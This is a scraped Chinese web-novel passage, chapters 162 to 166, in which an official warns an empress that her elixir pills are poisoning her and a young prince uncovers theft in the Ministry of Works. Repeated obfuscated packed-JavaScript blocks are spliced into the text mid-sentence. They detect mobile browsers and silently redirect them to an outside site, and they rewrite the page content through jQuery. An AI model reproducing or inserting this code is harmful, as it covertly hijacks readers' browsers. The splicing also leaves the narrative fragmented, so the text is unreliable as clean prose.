;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065206|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,夹了一筷子菜塞进许攸碗里,又夹了一筷子,塞进旁边秦琦的碗里。 “许攸,你和朕之间,并不是应该如此关系。” “你所追求的,和朕所想的一样,不是吗?” “如今你能五年时间内,把青尧县乃至荆州治理的井井有条,这是你的本事,也是你的能力!” “有如此能力,若是埋没,那才是真正的可惜。” 许攸干脆不吃了,他越听越不是滋味。 这就和在学校谈恋爱,都快到下一步,准备问带没带身份证,结果突然窜出来个黄毛。 “陛下,你有事直说。” 秦曦意味深长的瞥了眼许攸,又将目光放到了秦琦身上。 “十三弟?” “皇姐,弟弟在。” 秦琦放下碗筷,面容凝沉,身姿笔直。 “日后你要多学学许攸,收敛收敛你那脾气,叫他实地,多学学他的做事风格。” “许攸做事从不为自己,也不是为了利益,而是为了民,只此一个字,就比的上整个朝堂!” “连**都三番五次夸赞,若是天下人人都是如此,那大唐必然会中兴!” 说到这里,秦曦又叹了口气。 “十三弟你太过年轻,又过气盛,常常意气用事,又不经深思熟虑,在这点上,许攸可当你师傅!” 许攸心头狂跳。 这话什么意思? 这是打算给他找个爹伺候? “皇姐,弟弟一定谨遵您的教诲,从今日起,虚心和许大人学习。” 说着,秦琦收起了那张桀骜的嘴脸,居然郑重其事,站起身来到许攸面前,冲着他一拜。 许攸险些没把手里的碗丢出去。 “王爷严重了,臣本末位,就应该躬耕为民,不敢居功!” 看到两人这模样,秦曦嘴角扬起。 “许攸,既然你这么说,那朕就给你个表现的机会!” “从今日起,建南王秦琦就是你的学生!” “十三弟,日后你也不用去翰林院休学,以后每日就跟在他身后,好好学习他为人处世,以及各种学识。” 轰隆! 许攸差点没跪下! 第一百六十二章 谁让你磕金丹了 “皇弟领命!” 秦琦也就是表面傲气,骨子里倒是很听话。 但许攸可感觉天塌了。 自从当了甩手掌柜,京兆府不用他管,鸿胪寺也不用他去,他就每日睡到鸡打鸣,天天不是去花坊,就是在长安城当个街溜子。 如今他虽然多了个工部侍郎的职位,他也不打算履职,甚至还打算摸摸鱼,到时候随便丢点东西,让工部慢慢折腾。 现在建业王跟在他身边,还是天子亲自安排,外人要怎么想? 未来的天子师,还是说天子打算立储? 许攸正打算回绝,却突然察觉不对。 “怎么回事?” “秦曦这疯娘们,不是今日刚定下要打突厥,怎么一副时日无多,可以随时撒手人寰的模样?” 念此,他抬起头,仔细的朝着秦曦看去。 秦曦的脸色依旧平静,看不出有半点问题,但是眼角深处,可以看到许多愁容。 所以说,为什么要当皇帝呢? “陛下,臣认为不可!” 心疼归心疼,许攸还是一口回绝,这种苦逼的事情,谁愿意做,谁去做,他可不会自己去送死。 见到他拒绝,秦琦的脸上,也露出了疑惑和不解。 “陛下,如今您正直风华正茂的年纪,大唐也刚开始起步,如今这时候,必然是要经历些挫折和苦难。” “臣只是个乡野匹夫,不通四书九经,不懂那些条条规规,所学所见也都是上不得台面的东西。” “您让臣带着建业王,只怕……” 许攸说的是真话,以他天天逛青楼,一逛就是一天的态度,怕不是秦琦跟着他,也得天天钻青楼内。 到了那时候,满朝文武,不得提刀把他给傻了! 秦琦闻言,还以为许攸是故意谦虚,当下拱手,再次躬身一拜。 “老师再上,学生虽愚钝,却有一颗好学之心,还请老师不惜赐教!” “皇姐曾言,老师有经世之才,乃真正的卧龙,学生不求学得全部,哪怕只是十之一二,也能受用无穷。” 都是谣言,有人造谣啊! 许攸看向秦曦,刚好看到对方眼角一闪而逝的狡黠。 到了这一刻,他还不明白,那就是真的是猪。 大殿陷入了沉默,秦曦悠然起身,朝着宫殿门口走去。 她的身影在阳光下拉长,明明大殿内有许多人,但秦曦的身影却显得有些孤单。 “咳咳!” 一道轻咳声,自她口中一出。 “盛世大唐,朕只怕……” 惆怅和悲凉的气息,在秦曦身上不停萦绕。 “朕只怕,等不到太久。” 说着,她扭过头,看向了皱着眉梢的许攸。 “每日六部三省奏折百本,大小事务不知凡几,不仅有各州道,还有各个世家门阀。” “朕知道外界对朕如何看,如今朕已经到了当嫁之年,即便继续拖延,祖宗礼法也不会留情。” “如今朕身体亦不如从前,每日青灯相伴,寒气侵蚀,朕不知道还有多久。” 她的声音很平淡,没有半点的波澜。 就好像这件事,和她自己没关系,是在叙说旁人的遭遇。 “三年又三年,这时间……” 许攸心头猛地一颤。 他仿佛看到了当初那个扶着灵柩,手持三尺青锋,哪怕裙子被鲜血染红,依旧不肯退一步的身影。 三年过去了,事过境迁,但有些事留下的,是刻骨的伤痛。 “皇姐,是我没用!” 扑通! 秦琦跪在地上,眼眶微微发红。 秦曦摆摆手,示意他起身。 “男儿生当为人杰,朕还没那么快,这些时日,依靠吴王叔送的金丹,身体好了许多。” 说起来,秦曦又无奈苦笑。 “开始那药倒是灵验,每次吃完,朕必定可以一夜睡到天亮,不过现在效果越来越差。” “如今朕心情也是如此,每日反复无常,时常头疼欲裂,又似乎回到三年前。” 许攸猛地缩紧瞳孔。 “谁让你吃的丹药?” 这话一出,不但秦曦眼眸瞪大,就连刚爬起身的秦琦,都猛地哆嗦了下,险些再次被吓的跪下。 许攸说完就后悔了,不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065207|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不该说,而是话的语气不对。 秦曦脸上闪过一丝怒意,但随后又浮现出苦涩的笑容。 “不吃,朕每日头疼欲裂,自从青尧县回来,就是如此。” “难不成你还懂医药丹方?” 许攸那叫个头疼,秦曦回来之所以头疼,是因为长时间劳累过度,刚放松没多久,回来又长期熬夜通宵,哪怕是个铁打的人都熬不住。 这种时候,应该放松心情,以清淡饮食围住,再辅佐汤药,而不是吃金丹。 话已经说出口,收回来也不可能。 “许攸,你为何不说话?” 许攸沉吟片刻,缓缓开口解释。 “陛下想要以金丹缓解头痛,难道没发现,所谓的金丹,不过是治标不治本,难以根治吗?” “若是真有金丹,那炼制金丹之人,必然是百病不生,福寿无疆,是个**力的长寿者。” “陛下可曾听闻过,有这类的人?” 说到这里,许攸又沉声继续道。 “所谓金丹,是以各种药材,在丹炉中烧制。” “丹炉内的火焰可以焚毁一切,药材进入其中,早已不是原来的效果。” “所谓一物多变,药效既然不一样,把么混合在一起的效果,又有何人知晓?” “金丹长寿,祛除百病,不过是谣言!” “陛下慎重,长期服用,不但不能治疗你的头痛顽疾,还会引发身体衰竭,最终饮恨而终!” 说完这话,许攸擦擦额头冷汗。 他现在很庆幸自己没拒绝,要不然怕是再次见到秦曦,那就是天人两隔。 说到这里,他又有点激动。 “陛下,那个您看您都快不行了,要不死之前,给我整一次?” 整个大殿内陷入死寂! 秦琦张大嘴巴,这是第一次听到如此骇人听闻的话语。 他一直以为,秦曦口中的名师,治理天下的能人,必当是谦逊有礼,温文尔雅,有大儒风范的存在。 反观许攸,这就一个市井街头的混混,根本登不得台面。 还有,死之前给一次,这是什么说辞? 第一百六十三章 你穿的比我帅 秦曦扭头眯起眼,定定的看着许攸。 两人目光对视,又很快分开。 “朕只所以不杀你,不但因为你的才能,还有当年的救命之恩!” “朕很好奇,当日你身中七剑,被太子一剑刺中心口,又如何活到今日!” “难不成,你……” 秦曦不得不激动,如今她的身体,也是因为当年那场变故,才导致如今局面。 相反当年应该死的人,不但好好的出现在她面前,还生龙活虎,相反她身体每况日下,只能靠着金丹度日。 许攸知道自己身份暴露了,但这件事迟早,他也没多少担心。 “陛下,所谓金丹祛百病,自古就是谣言!” “臣之所以无事,自然是因为臣身体好!” 他完全是睁着眼说瞎话。 功德的妙用,可不单单是可以超脱。 量变引起质变,救一个人,那只能被铭记,成为英雄,救千万人,那就是在世真神。 救得人越多,改变的越多,所有人内心敬仰和崇拜,就会化作源源不断的功德之力。 依靠这股力量,许攸的身体,早已不是普通人可以比拟,哪怕面对蒙武这些战场杀才,他也能轻蔑一笑了之。 “说实话!” 秦曦揉揉眉梢,她可不信许攸嘴里鬼话。 眼前这男人,骗了她这么长时间,如今她身体已经不行,却还要骗她。 “若是你不说实话,朕会让你知道,什么是后悔!” 秦曦嘴角勾起冷笑,指着许攸身边的秦琦道。 “朕有意立储君,至于人选,会在几个王爷和公主中选。” “若是朕暴毙,也留下了遗诏。” “就是不知道许大人,你等的起,还是等不起!” **!!! 许攸是真服了,眼前的秦曦,把心眼子全用在他身上。 不是让三十万人去青尧县送死,就是打算来个一哭二闹三上吊。 偏偏他还没什么好办法。 他倒是希望,现在的秦曦是个铁血女皇,见到他是个祸害,直接下令砍了。 可惜这都是如果,现实压根不存在。 “陛下,其实臣确实有办法,可以做到延年益寿,百病不生!” 听到这话,不仅是秦曦,就连秦琦都瞪大眼。 当年的秘闻很少有人知道,秦琦当初被那景象给吓傻,直到康王带兵杀进包围,他才看到统兵的人。 此刻被秦曦这么说,他脑海内立刻想到一道人影。 “你!你是!” 许攸翻了个白眼,知道就好了,为什么要说出来呢? “闭嘴!” 秦琦委屈的闭上嘴,乖乖站在秦曦身边,眼眶也变得通红。 倒是秦曦眼眸中,露出了疑惑的神色。 “你刚说的,就是你能逃出生天,所用的办法?” “那当然……不是。” 许攸想吹牛说是,但想想要是被秦曦发现,到时候指不定要闹成什么样,干脆就直接否认。 “陛下,臣也和你说实话,臣有自己的法门,这法门名叫五行功!” “人体内有阴阳五行,五行代表天地大道,阴阳则是代表生死。” “阴盛阳衰,必然会有疾病,而五行平衡,则是代表各个脏器及器官是否正常。” “金丹内药效不一,或许能刺激五行,打破短暂平衡,但也能助长阴邪气息。” “所以想要活得长,第一就是充足的休息以及饮食,辅佐以调养药材,逐渐恢复五行根本。” “其次,那就是运动!” 许攸暗暗擦了把汗,再次忽悠。 “阳气并非是不可再生,只要心存正气,心向阳光,每日随心而动,以笑面对万事万物,以平和心态面对一切,多行善事,必然能恢复根本。” 他这番话并不是无稽之谈,这些都是他多年总结,在青尧县内,百姓也都是如此。 遇事暴怒生气,只会让事情越来越难,笑着理性思考,消除内心焦虑,让身体时刻处于放松,外加行善积德的反馈,身体只会越来越好。 更关键的是其中的动,这里的动也并非随意而言,晨起的朝阳充满活力,也就象征着生机。 许攸不知道这番话是否起效,但按照他说的做,短则数月,长则一年,秦曦的身体必然会恢复。 秦曦神色平静,心里却泛起了惊涛。 这番话语,不是没人做到,而是有真实的例子。 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065208|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牧! 李牧每日早间都要饮一杯晨露茶,茶水不用他人烧煮,而是自己亲自动手,随后打上一套拳,每日也都是笑呵呵模样,遇事从不生气动怒。 如今李牧已经七十多,身体比大部分二三十岁青壮都要好。 相反她这幅身体,不过是三年前遗留的伤病,如今居然日况益下。 “如何做?” 许攸捏着下巴,认真思索了一番。 “陛下,可取笔墨来,臣为你写一套方法,辅佐臣独创的五行拳,必然可以强身健体。” “好!” 秦曦没多废话,浑身气势重新凝聚,那属于她的帝王威严,再次压得人喘不过气。 “你带着十三弟去工部,朕会招**前来,共同商议此时!” 说罢,秦曦又看向秦琦。 “十三弟,你跟着他好好学,朕不求你学全部,只要十之五六即可!” 许攸嘴角抽动,那怕是不可能。 就他脑海内的记忆,许多时候连他自己不用,他都记不起来。 要是全部传出去,怕是能将个人给学成**。 但现在他也没了拒绝了可能,好歹小命捏在秦曦手里。 “臣,遵旨!” “皇弟,遵旨!” 两人饭也没吃完,许攸带着秦琦,往外走去。 与此同时,宫殿内的秦曦,冷眸扫过,一双眸子落在角落王迸身上。 “王迸,按照这上面记录,从今日开始,每日督促朕。” 王迸脸色大变,急忙跪下。 “陛下,那金丹?” “全都毁……不!寻一头驴,不要让人知道,你以金丹喂养!” 说到这里的秦曦,眼底散发出阵阵杀意。 “朕要看看,朕的好叔伯们,每日都在想些什么!” 王迸闻言再次一颤,浑身上下立刻如同被水洗过。 他知道,天子动了杀意! 始作俑者的许攸,走出宫殿后,和秦琦大眼瞪小眼。 “老师,我……可有什么不对?” 秦琦嘴角一抽,也没之前的那副稳重桀骜,委屈的想要再次哭出来。 “哭个屁,你这衣服不太行,比我帅太多,我嫉妒!” “我给你换一身!” 第一百六十四章 主动找下马威 “老师,我这衣服?” 秦琦委屈的想哭,但被许攸看了一眼,又吓得将眼泪缩了回去。 许攸翻了个白眼,就秦琦这气质和样貌,估摸穿其他衣服,也是个风度翩翩的帅哥。 过了半个时辰,换上一身粗布衣的秦琦,出现在许攸的面前。 他虽然穿的简单,但气质可不简单,一看就知道是个贵族身份。 许攸嘴角抽抽,不过这总比穿**袍出去要好。 “跟我走,从现在开始,你就是我的随从。” “长安城内可有人,能够认识你?” 秦琦连连摇头,他是刚来到长安城,整个长安除了皇室之外,基本上没人认识他。 两人作坐着马车,上车之后的秦琦,又露出好奇的目光。 他才十八,这次回长安,就是受到秦琦的召见。 “老师,你乃是左侍郎,理应让工部的主簿和文书,主动登门拜访,为何要现在去工部?” 许攸淡淡一笑,他要是不去,工部这些人怎么能搞事? 将作监和军器监,虽然挂在工部名下,但实则上是有独立寺监,他这个左侍郎,也就是挂名而已。 工部左侍郎空缺,原本应该是两位寺监上位,结果天子一道诏令,直接让许攸成了左侍郎。 换做任何人,心里都不会舒服。 “你若是在工部十年,好不容易升迁有望,这时候来个年轻后辈,抢了你的前途。” “你会如何?” 秦琦愣了下,眼底流露出思索的目光。 “我会不择手段的报复。” “这不就对了,我若是不去,他们怎么能报复我?怎么给我下马威?” 许攸摊开手,露出无奈神色。 他不想找麻烦,但有人怕是不打算放过他,这可是很好的展现机会。 秦琦似懂非懂,低头沉思起来。 工部大门口,许攸刚下车,就看到门开口站着两人。 “许大人贵安,下官黄安,将作监寺监。” “许大人,下官田雨,军器监寺监。” 黄安和田雨两人躬身上前,冲着许攸瑶瑶一拜。 虽然许攸名义上是工部左侍郎,负责掌管工部大小事务,但两人可没把许攸真放在眼底。 行礼后,黄安眯起眼,看向许攸身后的秦琦,语气玩味的问道。 “不知道这位是?” 许攸挥挥手,用起路上准备好的说辞。 “这是我的随从,两位大人不用管他,他只是个闲人,跟着我过来长长见识。” 说着,他拍拍秦琦的肩膀,示意他行礼问好。 “还不给两位大人见礼?” 秦琦恭敬的一拱手,朝着黄安和田雨躬身一拜。 “见过两位大人。” 黄安双眼微眯,他在长安这么多年,见过的人无数,一眼就看出秦琦浑身气质不凡,哪怕是粗布衣,也无法遮蔽这高贵气势。 虽然看出来,但黄安没直言,反而裂开嘴笑笑,也跟着回礼。 “既然是许大人的随从,那就是自家人,小郎君不必如此客气。” 秦琦第一次遇到这种,被弄得手足无措,站在原地不安的看向许攸, 许攸没管他,笑呵呵的将任命文书送上。 “还请两位大人前面引路,本官要去各个工坊看看。” 然而,这番话刚出口,田雨脸上的笑容变得阴冷。 “许大人有所不知,曲大人早已下令,让我等在此等候,至于那工坊,日后许大人可以随时去得!” “不过今日……” 说到这里,田雨的语气在此一变。 “将作监和军器监内所有工匠,总计三千人,皆可以听从许大人拆迁,两监大小事宜,也是由许大人做主。” “今日许大人就不用先去两监,先看看这个再说!” 田雨的语气幽深,说话间从衣袖掏出一份册子,递到许攸面前。 从他的语气和态度上,可以看出他在幸灾乐祸。 册子很厚,看那样子,应该不是一日拟成,至少用好几个月的时间编撰。 “许大人,日后兄弟们的身家性命,都在你身上了!” “陛下下了令,春节前不完成,所有人都会被送到断头台,还请许大人多多费神。” 许攸还没说话,旁边的秦琦脸色已经彻底阴沉下去。 难怪老师会亲自前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065209|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,即便是亲自前来,也遇到了刁难。 田雨说完,旁边的黄安又长叹一口气。 “许大人,还有一事,军器监内的大匠们,已经三月没有俸禄,还请许大人多多费心。” 许攸还没进两监,屁股后面就多了一堆事情。 两监各种鸡毛蒜皮的事情一堆,另外还有上千人没俸禄,这些加起来可不少。 “曲大人呢?” 许攸表情不变,似乎早就知道这件事。 黄安面上的表情也没任何波动,依旧淡定无比,完全就是看好戏的表情。 “曲大人千万门下省议事,工部内大小事务,许大人可自行处理!” 秦琦听到这里,脸色彻底黑了下来。 工部上下面对皇命,不但阳奉阴违,还故意拖延。 所有事情全部担在许攸,这位新来的左侍郎肩头,简直是胡闹! 他正要发作,却看到许攸浑然不在意,冲着两人挥手。 “钱财事物可去户部深情,其余事情本官也已知晓,感谢两位大人在此等候我,你们先去忙吧。” 听闻这话,黄安和田雨相视一笑,躬身告辞离开。 见两人走远,秦琦气得一甩衣袖,快步来到许攸面前,不忿的怒骂。 “岂有此理!” “老师,这两厮居然如此不把你当回事,把皇命当做儿戏,我要上报皇姐!” 秦琦怀疑皇姐让他来,就是为了探查百官。 他刚说完,就听到许攸淡淡的一句话。 “然后呢?” 这话让秦琦彻底哑火。 然后呢? 然后并没有办法,所有事情还得有人负责,黄安和田雨在两监担任寺监超过十年,任何人都无法取代。 无论是将作监还是军器监,早已铁板一块,成了两人的一言堂。 许攸斜瞥一眼秦琦,淡定的翻开手册。 “呵呵,有点意思!” 手册内各种需要打造的兵器甲胄,包括农具等等差不多五百条许求。 五百件是类别,具体的还有数量,总计约七千。 加上新的武器兵甲打造,三十万人的军需,只有三个月时间,根本完不成! 第一百六十五章 忽悠王爷去打杂 “王爷,你来看看!” 许攸抬手将手册丢过去,里面的东西短时间内想造出来,基本上不可能。 如果有一年时间,这些乱七八糟的,倒是可以打造,但现在可没一年时间。 秦琦闻言快步来到许攸身边,将手册接过去。 他仔细一看,脸色立刻涨成了紫红色。 “胡闹!这完全是胡闹!” 秦琦眼睛瞪圆,心口都在疯狂起伏。 “打造水车一百,用于京兆府周边县衙农田灌溉,水车需要省力,还需节省人力,同时出水不得一担!” “需要兵甲八百,白虎大营所需,全部乃两裆甲,所需精铁锻打。” “需三百强弓,可射三百步外敌人,需结实耐用,同时需要箭矢五千。” 基本上的需求都是如此,没有什么具体的描述,但数量要求可不小。 秦琦气得脸色不断变化,太放肆了!也太胡闹了! 将作监平日里负责研究各种农具,各类器具,包括不限于民生百事,至于军器监则是完全在研究打造兵甲。 看到上面的需求,最早的要求,都是去年春日,秦琦险些没跳起来。 “看完了?” 看到秦琦如此着急,许攸倒是很开心。 “是不是觉得很生气?” 能不生气? 秦琦设身处地的想了想,如果他现在是许攸,会立刻上报,然后杀了黄安和田雨。 这两人在工部多年,却如此做事,这分明是在欺君罔上! “本王要杀了他们?” 许攸裂开嘴,淡淡的一笑。 “杀了他们,谁来负责工部的事情?” “他们在将作监和军器监多年,手下早已凝聚成一块,可不是随便打杀就能解决。” “想要这些人做事,你得靠脑子!” 秦琦愣住,有些不敢相信的看向许攸。 “老师,可是这件事,难道我们就这么算了?” 当然不能这么算了! 许攸裂开嘴冷笑,连王亮见到他都得绕道走,现在两只老鼠,真以为山中无老虎,就轮到他们称王。 他今天一肚子火气,刚愁没地方发泄,这么好的发泄机会,可不容错过。 “陛下让你跟着我,是让你跟我学习而来,而不是让你仗着王爷的威势。” “从现在开始,你就是我的随从,给你半日时间,将两监所有人员全部轻点一边。” “我要知道他们户籍,能力,从所擅长到所有官职职位,全部给我整理出来,我有大用!” 秦琦一脸懵,他总觉得这事不是什么好差事,但又没察觉到底是什么缘由。 “老师,你要这些做什么?如果是花名册,去找文书和主簿,不到半个时辰,就能查明白。” 许攸挥挥手,他自然不是要的这么简单。 “你等我说完,我要的可是详细名单,包括职位这些,事无巨细,全部查明登记在册!” “另外我要你查明工部内所有库房存于,包括有多少材料,金银细软剩余多少,所有工具有多少,以及熔炉等等,全部列一份名录!” 秦琦眼睛发晕,他已经晕了,而且这么多事情,就他一个人,这么多事情,怕是一天都做不成。 “老师,那材料种类等也得列个明细吗?” “那是必然的,包括种类数量,我要详细的数量,可不是糊弄!” 许攸本来打算要个简单的目录,但秦琦这么说了,不用白不用。 反正不是他弟弟,这点差事,要是做不好,秦琦以后也没资格争储。 秦琦彻底懵了,他虽然精通算学,也通晓各种杂学,可这种事情,一看就不好办。 但这是他自己找的差事,现在他也是倒霉。 “老师你放心,我一定会尽快整理好。” 说完,秦琦又纳闷,他忙着去整理名册,那许攸要干什么? 却见到许攸冲周龙和张虎喊了一声,随后大摇大摆往将作监走去。 来到将作监院门口,许攸直接让两人端来桌椅,堂而皇之的就坐在门口。 “老师,你这是?” 秦琦张张嘴,眼底全是,茫然和疑惑。 “我盯着他们,你快去干活吧!” 听到这话,秦琦再傻也明白,许攸这是故意在摸鱼,而他才是冤大头。 一股憋屈和荒谬感,在他的心头不断萦绕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065210|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身为王爷,还是最后可能成为储君的存在,秦琦有自己的傲气。 结果到了许攸面前,他就和个普通人差不多。 看到秦琦不服输的模样,许攸不急不慢,晃晃有的端起茶杯。 “怎么,你是不是觉得,我在故意差使你?” 这不明摆着? 秦琦没说话,他才十七八,年轻傲气,面上表情藏不住。 “皇姐,让我来跟随老师学习,我自然要听老师的命令行事!” “既然这样,你还有什么怨言?” 秦琦心里的怨言更多了,要是其他的事情,他可以找人,可这种事,他一个人根本忙不完。 “你不要觉得我在使唤你,这其中有大秘密!” 许攸开始自己的忽悠**。 “你难道忘记黄安和田雨,两人在工部门口时候拦着我们的表情?” “如果他们没隐秘,怎么可能如此猖狂!” “你身为王爷,未来自然是要为陛下做事,所以得早早习惯这些。” “如此难得的机会,可不是随时都能遇到。” 秦琦一愣,如今朝堂上表面很平和,若不是跟着许攸,他根本看不到问题所在。 这确实是个好机会! “脚踏实地,才是基础!” “这些不是大道理,而是根本!你想要有底蕴,就得从底层一步步摸索,可不能好高骛远!” 闻言,秦琦深吸一口气,他彻底明悟了。 以前他学的都是书本,学的都是四书九经,可真用到实处,并无什么用处,反而还不如其他人。 相反这些细枝末节,旁人不知道的事情,他才能从夹缝中取得机会! 此刻的他,内心不但没有怨气,反而心生出了崇拜。 “老师,我知道了!” “知道就去做事,做的仔细点,若是有人刁难,就拿出我的名头。” “是!” 秦琦不打算利用许攸的名头,他手里有一道密令,要是迫不得已,到时候利用密令,都比用许攸名头好。 他也决定,要好好研究探查,看看工部的秘密! 与此同时,皇宫内的秦曦,柳眉也紧紧皱起。 第一百六十六章 彻底忽悠瘸了 “你的意思是,驴**?” 秦曦面无表情,中午她让王迸去找一头驴,然后将金丹给驴服用。 可这才两个时辰,王迸居然来报,驴**! 王迸跪在地上,额头上全是冷汗。 “陛下,那金丹都是从内堂取出,除了奴之外,没有任何人经手!” 说到这里,王迸内心更是恐慌。 “奴喂了五枚,本打算喂些草料,等晚间再喂,却没想到,那头驴吃了草料,立刻开始口吐白沫,随后倒地抽搐。” “不到盏茶时间,便彻底没了动静!” 嘶! 秦曦倒吸一口凉气,宫中御医经常用驴试药,这件事她也知道。 先前许攸说金丹有损身体,她始终抱着将信将疑的模样,可现在她不但信了,还满是后怕。 “此事天知地知,除了你之外,若是有人泄露,朕就灭你九族!” “奴知晓,一定不会让人泄露!” 王迸心里怕的要死,不但是因为驴被毒死,还有他也吃了金丹。 本以为是续命的神药,现在看来完全能是**。 …… 宫中的事情,秦琦并不知晓,此刻的他正在忙前忙和,累得和狗差不多。 许攸张张嘴,他才知道麻烦有多大。 花名册这些都好办,跑去找文书,不到盏茶时间就解决,但其他的可就难得他头疼。 为了刁难许攸,黄安和田雨是各种阳奉阴违,两监内根本看不到他们人,只安排了四个主簿和文书,跟在姜琦身后。 天色已经到了傍晚,秦琦张张嘴,将手中笔落下,看向眼前最后个库房。 “几位,这里就是最后的库房了吗?” 库房宽大无比,占地比工部整个府衙都大。 半个库房在上面,半个在地下,库房门口有一队精兵在防守。 秦琦松了口气,确定这里是最后一个,忍不住伸手锤了锤腰。 “那就开门,让我进去盘查一番。” 其中一个文书,听到这话后,脸色变得怪异。 “公子,您是许大人亲随不假,但此地乃是工部库房,需要有天子手令,才能进入其中。” “库房许久没打开,贸然打开,怕是不妥。” 秦琦急着清点完成,看着眼前的库房,再次不耐烦挥手催促。 “天子的手令,我没有!” “但是这个可以吗?” 先前来的时候,秦琦就给了他一道密旨,可以特殊行事。 之前秦琦还觉得太夸大,许攸再怎么不靠谱,也不可能做出大逆不道的事情。 现在不是许攸大逆不道,而是整个工部在搞事。 “开库房!” 文书看到密旨,脸上表情再次变化,满脸都是惨白。 “这……这怕是不妥!” 看到文书表情不对,秦琦再次冷喝一声。 “少废话,天子密令在此,谁若是不服,那就是抗旨不遵!” “你们脑袋当真有这么硬?” 见状,文书不敢怠慢,缓缓将库房大门给打开。 咔嚓! 库房门打开,里面一股铁锈味道以及刺鼻的霉味,让秦琦的表情逐渐变化。 先前的那些库房,都没这么重的味道,现在他却感觉,这个库房内似乎不一般。 往里面走了两步后,秦琦的表情再次变化。 “这是怎么回事?” 库房内居然没有铁木,各种精铁也几乎没有,只有几块已经生锈的毛料,随意丢在角落。 在货架上,还有各种残余的残次品,看上面的灰尘,一看就是摆了很长时间。 “这是怎么回事?” 秦琦的脸色格外难看,他也不是傻子,按照先前文书的话,库房内是工部的底蕴所在,但现在工部汇报的材料清单上,根本不符合。 有人将精铁和各种材料,全部偷偷倒卖了出去! “你们该死!” “大人饶命,饶命啊!” 文书战战兢兢,跪在地上不停磕头求饶。 见此,秦琦冷冷的一挥手,再次往里面走去,他要看看,工部的腐朽,到底是如何黑。 查验下来后,姜琦心更冷,整个库房内的材料十不存一。 等他回到将作监门口,却看到许攸正躺在座椅上,已经沉沉睡了过去。 “老师?” 秦琦压着怒火,试探性叫了声。 但许攸并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065211|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无半点反应,甚至还伸手挥了挥手。 “许大人!” 秦琦拔高音量,这次总算把许攸给惊醒。 “怎么,回来了?” 许攸擦了下脸,脸上的睡意还没消散。 “回来了!” 看到秦琦的表情,许攸已经了然。 “查的如何?” “很严重,这些蛀虫早已把库房搬空,连花名也对不上!” 秦琦缓缓道出工部现在的情况。 整个工部只有四千七百人在册,工匠只有两千人不到,其余都是杂役和官员。 另外材料也和登记的不符合,所有金银铜铁,存量不到十分之一,可以说库房内的库存,根本就不是真的! 将所有事情全部道出,姜琦拿出了自己整理好的名册。 “老师,你看!” 姜琦算知道,为何许攸要让他去查,今天的一切,让他大开眼界。 许攸早就料到了,并没有什么意外,淡定的拿过册子,在烛火下仔细翻看。 “还不错,比我想的要好很多!” 